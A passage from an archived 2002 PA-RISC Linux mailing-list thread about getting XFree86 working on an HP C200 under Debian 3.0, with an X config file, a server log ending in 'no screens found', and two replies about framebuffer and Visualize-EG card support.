		Modes		"1280x1024"
	EndSubSection
	SubSection "Display"
		Depth		8
		Modes		"1280x1024"
	EndSubSection
	SubSection "Display"
		Depth		15
		Modes		"1280x1024"
	EndSubSection
	SubSection "Display"
		Depth		16
		Modes		"1280x1024"
	EndSubSection
	SubSection "Display"
		Depth		24
		Modes		"1280x1024"
	EndSubSection
EndSection

Section "ServerLayout"
	Identifier	"Default Layout"
	Screen		"Default Screen"
	InputDevice	"Generic Keyboard"
	InputDevice	"Configured Mouse"
	InputDevice	"Generic Mouse"
EndSection

Section "DRI"
	Mode	0666
EndSection

### END DEBCONF SECTION

================================================================================

This is a pre-release version of XFree86, and is not supported in any
way.  Bugs may be reported to XFree86@XFree86.Org and patches submitted
to fixes@XFree86.Org.  Before reporting bugs in pre-release versions,
please check the latest version in the XFree86 CVS repository
(http://www.XFree86.Org/cvs)

XFree86 Version 4.1.0.1 / X Window System
(protocol Version 11, revision 0, vendor release 6510)
Release Date: 21 December 2001
	If the server is older than 6-12 months, or if your card is
	newer than the above date, look for a newer version before
	reporting problems.  (See http://www.XFree86.Org/FAQ)
Build Operating System: Linux 2.4.16-64 parisc64 [ELF] 
(==) Log file: "/var/log/XFree86.0.log", Time: Fri Aug 30 16:23:17 2002
(==) Using config file: "/etc/X11/XF86Config-4"
Markers: (--) probed, (**) from config file, (==) default setting,
         (++) from command line, (!!) notice, (II) informational,
         (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(==) ServerLayout "Default Layout"
(**) |-->Screen "Default Screen" (0)
(**) |   |-->Monitor "Generic Monitor"
(**) |   |-->Device "Generic Video Card"
(**) |-->Input Device "Generic Keyboard"
(**) Option "XkbRules" "xfree86"
(**) XKB: rules: "xfree86"
(**) Option "XkbModel" "pc104"
(**) XKB: model: "pc104"
(**) Option "XkbLayout" "us"
(**) XKB: layout: "us"
(==) Keyboard: CustomKeycode disabled
(**) |-->Input Device "Configured Mouse"
(**) |-->Input Device "Generic Mouse"
(WW) The directory "/usr/lib/X11/fonts/cyrillic" does not exist.
	Entry deleted from font path.
(**) FontPath set to "unix/:7100,/usr/lib/X11/fonts/misc,/usr/lib/X11/fonts/100dpi/:unscaled,/usr/lib/X11/fonts/75dpi/:unscaled,/usr/lib/X11/fonts/Type1,/usr/lib/X11/fonts/Speedo,/usr/lib/X11/fonts/100dpi,/usr/lib/X11/fonts/75dpi"
(==) RgbPath set to "/usr/X11R6/lib/X11/rgb"
(++) using VT number 7

(WW) Cannot open APM
(II) PCI: PCI scan (all values are in hex)
(II) PCI: 00:13:0: chip 1000,000f card 0000,0000 rev 04 class 01,00,00 hdr 00
(II) PCI: 00:14:0: chip 1011,0019 card 103c,104f rev 30 class 02,00,00 hdr 00
(II) PCI: 01:04:0: chip 103c,1008 card 0000,0000 rev 02 class 03,80,00 hdr 00
(II) PCI: End of PCI scan
(II) Host-to-PCI bridge:
(II) Host-to-PCI bridge:
(II) Bus 0: bridge is at (0:0:0), (-1,0,0), BCTRL: 0x00 (VGA_EN is cleared)
(II) Bus 0 I/O range:
	[0] -1 0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) Bus 0 non-prefetchable memory range:
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
(II) Bus 0 prefetchable memory range:
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
(II) Bus 1: bridge is at (0:0:0), (-1,1,0), BCTRL: 0x00 (VGA_EN is cleared)
(II) Bus 1 I/O range:
	[0] -1 0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) Bus 1 non-prefetchable memory range:
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
(II) Bus 1 prefetchable memory range:
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
(--) PCI: (1:4:0) HP unknown chipset (0x1008) rev 2, Mem @ 0xf6000000/25, BIOS @ 0xf1e00000/21
(II) Addressable bus resource ranges are
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
	[1] -1 0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) OS-reported resource ranges:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) Active PCI resource ranges:
	[0] -1 0	0xf2fff000 - 0xf2fff07f (0x80) MX[B]
	[1] -1 0	0xf2ffe000 - 0xf2ffefff (0x1000) MX[B]
	[2] -1 0	0xf2ffd000 - 0xf2ffd0ff (0x100) MX[B]
	[3] -1 0	0xf1e00000 - 0xf1ffffff (0x200000) MX[B](B)
	[4] -1 0	0xf6000000 - 0xf7ffffff (0x2000000) MX[B](B)
	[5] -1 0	0x0000ff00 - 0x0000ff7f (0x80) IX[B]
	[6] -1 0	0x0000fe00 - 0x0000feff (0x100) IX[B]
(II) Active PCI resource ranges after removing overlaps:
	[0] -1 0	0xf2fff000 - 0xf2fff07f (0x80) MX[B]
	[1] -1 0	0xf2ffe000 - 0xf2ffefff (0x1000) MX[B]
	[2] -1 0	0xf2ffd000 - 0xf2ffd0ff (0x100) MX[B]
	[3] -1 0	0xf1e00000 - 0xf1ffffff (0x200000) MX[B](B)
	[4] -1 0	0xf6000000 - 0xf7ffffff (0x2000000) MX[B](B)
	[5] -1 0	0x0000ff00 - 0x0000ff7f (0x80) IX[B]
	[6] -1 0	0x0000fe00 - 0x0000feff (0x100) IX[B]
(II) OS-reported resource ranges after removing overlaps with PCI:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) All system resource ranges:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0xf2fff000 - 0xf2fff07f (0x80) MX[B]
	[3] -1 0	0xf2ffe000 - 0xf2ffefff (0x1000) MX[B]
	[4] -1 0	0xf2ffd000 - 0xf2ffd0ff (0x100) MX[B]
	[5] -1 0	0xf1e00000 - 0xf1ffffff (0x200000) MX[B](B)
	[6] -1 0	0xf6000000 - 0xf7ffffff (0x2000000) MX[B](B)
	[7] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[8] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
	[9] -1 0	0x0000ff00 - 0x0000ff7f (0x80) IX[B]
	[10] -1 0	0x0000fe00 - 0x0000feff (0x100) IX[B]
(II) MGA: driver for Matrox chipsets: mga2064w, mga1064sg, mga2164w,
	mga2164w AGP, mgag100, mgag100 PCI, mgag200, mgag200 PCI, mgag400
(II) GLINT: driver for 3Dlabs chipsets: gamma, ti_pm2, ti_pm, pm3, pm2v,
	pm2, pm, 300sx, 500tx, mx, delta
	S3VIdentify
(II) S3VIRGE: driver (version 1.6.13) for S3 ViRGE chipsets: virge, 86C325,
	virge vx, 86C988, virge dx, virge gx, 86C375, 86C385, virge gx2,
	86C357, virge mx, 86C260, virge mx+, 86C280, trio 3d, 86C365,
	trio 3d/2x, 86C362, 86C368
(II) SIS: driver for SiS chipsets: SIS5597, SIS5598, SIS530, SIS6326,
	SIS300, SIS630, SIS540
(II) SAVAGE: driver (version 1.1.16) for S3 Savage chipsets: Savage4,
	Savage3D, Savage3D-MV, Savage2000, Savage/MX-MV, Savage/MX,
	Savage/IX-MV, Savage/IX, ProSavage PM133, ProSavage KM133, Twister,
	TwisterK
(II) TRIDENT: driver for Trident chipsets: tvga8900d, cyber9320, cyber9388,
	cyber9397, cyber9397dvd, cyber9520, cyber9525dvd, cyberblade/e4,
	tgui9420dgi, tgui9440agi, tgui9660, tgui9680, providia9682,
	providia9685, cyber9382, cyber9385, 3dimage975, 3dimage985, blade3d,
	cyberbladei7, cyberbladei7d, cyberbladei1, cyberbladei1d,
	cyberbladeAi1, cyberbladeAi1d, cyberbladeXP, cyberbladeXPm
(II) CHIPS: Driver for Chips and Technologies chipsets: ct65520, ct65525,
	ct65530, ct65535, ct65540, ct65545, ct65546, ct65548, ct65550,
	ct65554, ct65555, ct68554, ct69000, ct69030, ct64200, ct64300
(II) TDFX: Driver for 3dfx Banshee/Voodoo3 chipsets: 3dfx Banshee,
	3dfx Voodoo3, 3dfx Voodoo5
(II) FBDev: driver for framebuffer: fbdev, afb
(II) ATI: ATI driver (version 6.3.6) for chipsets: ati
(II) R128: Driver for ATI Rage 128 chipsets: ATI Rage 128 RE (PCI),
	ATI Rage 128 RF (AGP), ATI Rage 128 RG (AGP), ATI Rage 128 RK (PCI),
	ATI Rage 128 RL (AGP), ATI Rage 128 Pro PD (PCI),
	ATI Rage 128 Pro PF (AGP), ATI Rage 128 Pro PP (PCI),
	ATI Rage 128 Pro PR (PCI), ATI Rage 128 Mobility LE (PCI),
	ATI Rage 128 Mobility LF (AGP), ATI Rage 128 Mobility MF (AGP),
	ATI Rage 128 Mobility ML (AGP)
(II) RADEON: Driver for ATI Radeon chipsets: ATI Radeon QD (AGP),
	ATI Radeon QE (AGP), ATI Radeon QF (AGP), ATI Radeon QG (AGP),
	ATI Radeon VE (AGP)
(II) imstt: driver (version 1.0.0 for IMS TwinTurbo chipsets : imstt128,
	imstt3d
(II) VGA: Generic VGA driver (version 4.0) for chipsets: generic
(II) v4l driver for Video4Linux
	S3VProbe begin
(EE) No devices detected.

Fatal server error:
no screens found

When reporting a problem related to a server crash, please send
the full server output, not just the last messages.
This can be found in the log file "/var/log/XFree86.0.log".
Please report problems to submit@bugs.debian.org.




From - Thu Nov 08 21:24:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian 3.0 on C200
Date: 30 Aug 2002 16:53:13 -0600
Lines: 46
Approved: news@gmane.org
Message-ID: <1030747993.19450.415.camel@beavis>
References: <20020830222805.GA29652@maddentechnologies.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621669 13180 80.91.229.3 (22 Nov 2014 02:01:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Michael Madden <madden@maddentechnologies.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 30 16:53:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE3E6482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Aug 2002 16:53:14 -0600 (MDT)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 3F8A42E3E5; Fri, 30 Aug 2002 16:53:13 -0600 (MDT)
In-Reply-To: <20020830222805.GA29652@maddentechnologies.com>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15971

Michael,

Yes, I have been using X on a C200 as my primary workstation at work for
the last couple of months.

The trick is to see if you have a supported video card or not.

When your system boots (check dmesg) do you see a line that looks
something similar to this?

fb0: stifb 1280x1024-32 frame buffer device, id: 2bcb015a, mmio:
0xfa100000

If you see the fb0: device, then you can use X on the framebuffer
driver.  I can send you my config if you would like, but I think I'm
using the default config the debian package setup for me.

If you do not see the fb0: line, then you can not run X on the system
yet because HP has not released any documentation on the drivers. 
[Note: there is an effort underway (check the recent archives) about
getting X running on a voodoo2 card on a c200 so that effort might
be of interest to you also!

- Ryan


On Fri, 2002-08-30 at 16:28, Michael Madden wrote:
> Hello:
> 
> Has anyone gotten X to work with the Debian 3.0 port on a PA-RISC C200 machine? 
> I have a C200 that I've installed Debian 3.0 on, but I cannot get X setup 
> correctly.
> 
> The hardware is:
> Main memory size: 768 Mbytes
> 1  Raven U 200 (9000/780/C200) processor
> 2 16550A serial ports
> 1 ethernet interface
>   eth0: Digital DS21143 Tulip rev 48
> PCI bus devices:
> SCSI storage controller: LSI Logic / Symbios Logic (formerly NCR) 53c875 (rev 4).
> Ethernet controller: Digital Equipment Corporation DECchip 21142/43 (rev 48).
> Display controller: PCI device 103c:1008 (Hewlett-Packard Company) (rev 2).




From - Thu Nov 08 21:24:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian 3.0 on C200
Date: Fri, 30 Aug 2002 19:01:10 -0400
Lines: 348
Approved: news@gmane.org
Message-ID: <3D6FF936.6090703__21730.7529449046$1416621669$gmane$org@charter.net>
References: <20020830222805.GA29652@maddentechnologies.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621669 13188 80.91.229.3 (22 Nov 2014 02:01:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:09 +0000 (UTC)
To: Michael Madden <madden@maddentechnologies.com>,
	palinux <parisc-linux@lists.parisc-linux.org>,
	debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 30 17:01:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dc-mx14.cluster1.charter.net (dc-mx14.cluster1.charter.net [209.225.8.24])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6C16F483C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Aug 2002 17:01:18 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by dc-mx14.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 88528325; Fri, 30 Aug 2002 19:03:17 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15972

Hi, yes, I have it working with a Visualize-EG graphics card. It runs
at 1024x768@8bpp using the framebuffer. Chances are that you have one
of the Visualize-FX boards which is not yet supported.

FYI, I am currently working on getting PCI Voodoo2 boards to work
on hppa machines both in console and XFree86 2D mode. The kernel
has an sst1 framebuffer option, and X can now use the V2 as a 2D
card. This would be helpful as the HP graphics cards were pretty
hi-tech, low-volume cards and moreover there are quite a lot of
different models, while the Voodoo2 boards are fairly common
and well-understood.

Right now my C200 is offline as I am working on upgrading a
Netwinder which I am passing along to an Arm-linux developer,
but I hope to get some work done on this project later this
weekend.

Anyways, a Visualize-EG card is proven to work with a C200.

- Doug



Michael Madden wrote:
> Hello:
> 
> Has anyone gotten X to work with the Debian 3.0 port on a PA-RISC C200 machine? 
> I have a C200 that I've installed Debian 3.0 on, but I cannot get X setup 
> correctly.
> 
> The hardware is:
> Main memory size: 768 Mbytes
> 1  Raven U 200 (9000/780/C200) processor
> 2 16550A serial ports
> 1 ethernet interface
>   eth0: Digital DS21143 Tulip rev 48
> PCI bus devices:
> SCSI storage controller: LSI Logic / Symbios Logic (formerly NCR) 53c875 (rev 4).
> Ethernet controller: Digital Equipment Corporation DECchip 21142/43 (rev 48).
> Display controller: PCI device 103c:1008 (Hewlett-Packard Company) (rev 2).
> 
> 
> I am attaching my config and log files if it helps.
> 
> Thanks in advance,
> Michael
> 
> ================================================================================
> 
> ### BEGIN DEBCONF SECTION
> # XF86Config-4 (XFree86 server configuration file) generated by dexconf, the
> # Debian X Configuration tool, using values from the debconf database.
> #
> # Edit this file with caution, and see the XF86Config-4 manual page.
> # (Type "man XF86Config-4" at the shell prompt.)
> #
> # If you want your changes to this file preserved by dexconf, only make changes
> # before the "### BEGIN DEBCONF SECTION" line above, and/or after the
> # "### END DEBCONF SECTION" line below.
> 
> Section "Files"
> 	FontPath	"unix/:7100"			# local font server
> 	# if the local font server has problems, we can fall back on these
> 	FontPath	"/usr/lib/X11/fonts/misc"
> 	FontPath	"/usr/lib/X11/fonts/cyrillic"
> 	FontPath	"/usr/lib/X11/fonts/100dpi/:unscaled"
> 	FontPath	"/usr/lib/X11/fonts/75dpi/:unscaled"
> 	FontPath	"/usr/lib/X11/fonts/Type1"
> 	FontPath	"/usr/lib/X11/fonts/Speedo"
> 	FontPath	"/usr/lib/X11/fonts/100dpi"
> 	FontPath	"/usr/lib/X11/fonts/75dpi"
> EndSection
> 
> Section "Module"
> 	Load	"GLcore"
> 	Load	"bitmap"
> 	Load	"dbe"
> 	Load	"ddc"
> 	Load	"dri"
> 	Load	"extmod"
> 	Load	"freetype"
> 	Load	"glx"
> 	Load	"int10"
> 	Load	"pex5"
> 	Load	"record"
> 	Load	"speedo"
> 	Load	"type1"
> 	Load	"vbe"
> 	Load	"xie"
> EndSection
> 
> Section "InputDevice"
> 	Identifier	"Generic Keyboard"
> 	Driver		"keyboard"
> 	Option		"CoreKeyboard"
> 	Option		"XkbRules"	"xfree86"
> 	Option		"XkbModel"	"pc104"
> 	Option		"XkbLayout"	"us"
> EndSection
> 
> Section "InputDevice"
> 	Identifier	"Configured Mouse"
> 	Driver		"mouse"
> 	Option		"CorePointer"
> 	Option		"Device"		"/dev/psaux"
> 	Option		"Protocol"		"PS/2"
> 	Option		"Emulate3Buttons"	"true"
> 	Option		"ZAxisMapping"		"4 5"
> EndSection
> 
> Section "InputDevice"
> 	Identifier	"Generic Mouse"
> 	Driver		"mouse"
> 	Option		"SendCoreEvents"	"true"
> 	Option		"Device"		"/dev/input/mice"
> 	Option		"Protocol"		"ImPS/2"
> 	Option		"Emulate3Buttons"	"true"
> 	Option		"ZAxisMapping"		"4 5"
> EndSection
> 
> Section "Device"
> 	Identifier	"Generic Video Card"
> 	Driver		"fbdev"
> 	Option		"UseFBDev"		"true"
> EndSection
> 
> Section "Monitor"
> 	Identifier	"Generic Monitor"
> #
> HorizSync
> 30-100
> 	HorizSync	31.5, 48.5
> 	VertRefresh	50-160
> 	Option		"DPMS"
> EndSection
> 
> Section "Screen"
> 	Identifier	"Default Screen"
> 	Device		"Generic Video Card"
> 	Monitor		"Generic Monitor"
> 	DefaultDepth	8
> 	SubSection "Display"
> 		Depth		1
> 		Modes		"1280x1024"
> 	EndSubSection
> 	SubSection "Display"
> 		Depth		4
> 		Modes		"1280x1024"
> 	EndSubSection
> 	SubSection "Display"
> 		Depth		8
> 		Modes		"1280x1024"
> 	EndSubSection
> 	SubSection "Display"
> 		Depth		15
> 		Modes		"1280x1024"
> 	EndSubSection
> 	SubSection "Display"
> 		Depth		16
> 		Modes		"1280x1024"
> 	EndSubSection
> 	SubSection "Display"
> 		Depth		24
> 		Modes		"1280x1024"
> 	EndSubSection
> EndSection
> 
> Section "ServerLayout"
> 	Identifier	"Default Layout"
> 	Screen		"Default Screen"
> 	InputDevice	"Generic Keyboard"
> 	InputDevice	"Configured Mouse"
> 	InputDevice	"Generic Mouse"
> EndSection
> 
> Section "DRI"
> 	Mode	0666
> EndSection
> 
> ### END DEBCONF SECTION
> 
> ================================================================================
> 
> This is a pre-release version of XFree86, and is not supported in any
> way.  Bugs may be reported to XFree86@XFree86.Org and patches submitted
> to fixes@XFree86.Org.  Before reporting bugs in pre-release versions,
> please check the latest version in the XFree86 CVS repository
> (http://www.XFree86.Org/cvs)
> 
> XFree86 Version 4.1.0.1 / X Window System
> (protocol Version 11, revision 0, vendor release 6510)
> Release Date: 21 December 2001
> 	If the server is older than 6-12 months, or if your card is
> 	newer than the above date, look for a newer version before
> 	reporting problems.  (See http://www.XFree86.Org/FAQ)
> Build Operating System: Linux 2.4.16-64 parisc64 [ELF] 
> (==) Log file: "/var/log/XFree86.0.log", Time: Fri Aug 30 16:23:17 2002
> (==) Using config file: "/etc/X11/XF86Config-4"
> Markers: (--) probed, (**) from config file, (==) default setting,
>          (++) from command line, (!!) notice, (II) informational,
>          (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
> (==) ServerLayout "Default Layout"
> (**) |-->Screen "Default Screen" (0)
> (**) |   |-->Monitor "Generic Monitor"
> (**) |   |-->Device "Generic Video Card"
> (**) |-->Input Device "Generic Keyboard"
> (**) Option "XkbRules" "xfree86"
> (**) XKB: rules: "xfree86"
> (**) Option "XkbModel" "pc104"
> (**) XKB: model: "pc104"
> (**) Option "XkbLayout" "us"
> (**) XKB: layout: "us"
> (==) Keyboard: CustomKeycode disabled
> (**) |-->Input Device "Configured Mouse"
> (**) |-->Input Device "Generic Mouse"
> (WW) The directory "/usr/lib/X11/fonts/cyrillic" does not exist.
> 	Entry deleted from font path.
> (**) FontPath set to "unix/:7100,/usr/lib/X11/fonts/misc,/usr/lib/X11/fonts/100dpi/:unscaled,/usr/lib/X11/fonts/75dpi/:unscaled,/usr/lib/X11/fonts/Type1,/usr/lib/X11/fonts/Speedo,/usr/lib/X11/fonts/100dpi,/usr/lib/X11/fonts/75dpi"
> (==) RgbPath set to "/usr/X11R6/lib/X11/rgb"
> (++) using VT number 7
> 
> (WW) Cannot open APM
> (II) PCI: PCI scan (all values are in hex)
> (II) PCI: 00:13:0: chip 1000,000f card 0000,0000 rev 04 class 01,00,00 hdr 00
> (II) PCI: 00:14:0: chip 1011,0019 card 103c,104f rev 30 class 02,00,00 hdr 00
> (II) PCI: 01:04:0: chip 103c,1008 card 0000,0000 rev 02 class 03,80,00 hdr 00
> (II) PCI: End of PCI scan
> (II) Host-to-PCI bridge:
> (II) Host-to-PCI bridge:
> (II) Bus 0: bridge is at (0:0:0), (-1,0,0), BCTRL: 0x00 (VGA_EN is cleared)
> (II) Bus 0 I/O range:
> 	[0] -1 0	0x00000000 - 0x0000ffff (0x10000) IX[B]
> (II) Bus 0 non-prefetchable memory range:
> 	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
> (II) Bus 0 prefetchable memory range:
> 	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
> (II) Bus 1: bridge is at (0:0:0), (-1,1,0), BCTRL: 0x00 (VGA_EN is cleared)
> (II) Bus 1 I/O range:
> 	[0] -1 0	0x00000000 - 0x0000ffff (0x10000) IX[B]
> (II) Bus 1 non-prefetchable memory range:
> 	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
> (II) Bus 1 prefetchable memory range:
> 	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
> (--) PCI: (1:4:0) HP unknown chipset (0x1008) rev 2, Mem @ 0xf6000000/25, BIOS @ 0xf1e00000/21
> (II) Addressable bus resource ranges are
> 	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
> 	[1] -1 0	0x00000000 - 0x0000ffff (0x10000) IX[B]
> (II) OS-reported resource ranges:
> 	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
> 	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
> 	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
> 	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
> (II) Active PCI resource ranges:
> 	[0] -1 0	0xf2fff000 - 0xf2fff07f (0x80) MX[B]
> 	[1] -1 0	0xf2ffe000 - 0xf2ffefff (0x1000) MX[B]
> 	[2] -1 0	0xf2ffd000 - 0xf2ffd0ff (0x100) MX[B]
> 	[3] -1 0	0xf1e00000 - 0xf1ffffff (0x200000) MX[B](B)
> 	[4] -1 0	0xf6000000 - 0xf7ffffff (0x2000000) MX[B](B)
> 	[5] -1 0	0x0000ff00 - 0x0000ff7f (0x80) IX[B]
> 	[6] -1 0	0x0000fe00 - 0x0000feff (0x100) IX[B]
> (II) Active PCI resource ranges after removing overlaps:
> 	[0] -1 0	0xf2fff000 - 0xf2fff07f (0x80) MX[B]
> 	[1] -1 0	0xf2ffe000 - 0xf2ffefff (0x1000) MX[B]
> 	[2] -1 0	0xf2ffd000 - 0xf2ffd0ff (0x100) MX[B]
> 	[3] -1 0	0xf1e00000 - 0xf1ffffff (0x200000) MX[B](B)
> 	[4] -1 0	0xf6000000 - 0xf7ffffff (0x2000000) MX[B](B)
> 	[5] -1 0	0x0000ff00 - 0x0000ff7f (0x80) IX[B]
> 	[6] -1 0	0x0000fe00 - 0x0000feff (0x100) IX[B]
> (II) OS-reported resource ranges after removing overlaps with PCI:
> 	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
> 	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
> 	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
> 	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
> (II) All system resource ranges:
> 	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
> 	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
> 	[2] -1 0	0xf2fff000 - 0xf2fff07f (0x80) MX[B]
> 	[3] -1 0	0xf2ffe000 - 0xf2ffefff (0x1000) MX[B]
> 	[4] -1 0	0xf2ffd000 - 0xf2ffd0ff (0x100) MX[B]
> 	[5] -1 0	0xf1e00000 - 0xf1ffffff (0x200000) MX[B](B)
> 	[6] -1 0	0xf6000000 - 0xf7ffffff (0x2000000) MX[B](B)
> 	[7] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
> 	[8] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
> 	[9] -1 0	0x0000ff00 - 0x0000ff7f (0x80) IX[B]
> 	[10] -1 0	0x0000fe00 - 0x0000feff (0x100) IX[B]
> (II) MGA: driver for Matrox chipsets: mga2064w, mga1064sg, mga2164w,
> 	mga2164w AGP, mgag100, mgag100 PCI, mgag200, mgag200 PCI, mgag400
> (II) GLINT: driver for 3Dlabs chipsets: gamma, ti_pm2, ti_pm, pm3, pm2v,
> 	pm2, pm, 300sx, 500tx, mx, delta
> 	S3VIdentify
> (II) S3VIRGE: driver (version 1.6.13) for S3 ViRGE chipsets: virge, 86C325,
> 	virge vx, 86C988, virge dx, virge gx, 86C375, 86C385, virge gx2,
> 	86C357, virge mx, 86C260, virge mx+, 86C280, trio 3d, 86C365,
> 	trio 3d/2x, 86C362, 86C368
> (II) SIS: driver for SiS chipsets: SIS5597, SIS5598, SIS530, SIS6326,
> 	SIS300, SIS630, SIS540
> (II) SAVAGE: driver (version 1.1.16) for S3 Savage chipsets: Savage4,
> 	Savage3D, Savage3D-MV, Savage2000, Savage/MX-MV, Savage/MX,
> 	Savage/IX-MV, Savage/IX, ProSavage PM133, ProSavage KM133, Twister,
> 	TwisterK
> (II) TRIDENT: driver for Trident chipsets: tvga8900d, cyber9320, cyber9388,
> 	cyber9397, cyber9397dvd, cyber9520, cyber9525dvd, cyberblade/e4,
> 	tgui9420dgi, tgui9440agi, tgui9660, tgui9680, providia9682,
> 	providia9685, cyber9382, cyber9385, 3dimage975, 3dimage985, blade3d,
> 	cyberbladei7, cyberbladei7d, cyberbladei1, cyberbladei1d,
> 	cyberbladeAi1, cyberbladeAi1d, cyberbladeXP, cyberbladeXPm
> (II) CHIPS: Driver for Chips and Technologies chipsets: ct65520, ct65525,
> 	ct65530, ct65535, ct65540, ct65545, ct65546, ct65548, ct65550,
> 	ct65554, ct65555, ct68554, ct69000, ct69030, ct64200, ct64300
> (II) TDFX: Driver for 3dfx Banshee/Voodoo3 chipsets: 3dfx Banshee,
> 	3dfx Voodoo3, 3dfx Voodoo5
> (II) FBDev: driver for framebuffer: fbdev, afb
> (II) ATI: ATI driver (version 6.3.6) for chipsets: ati
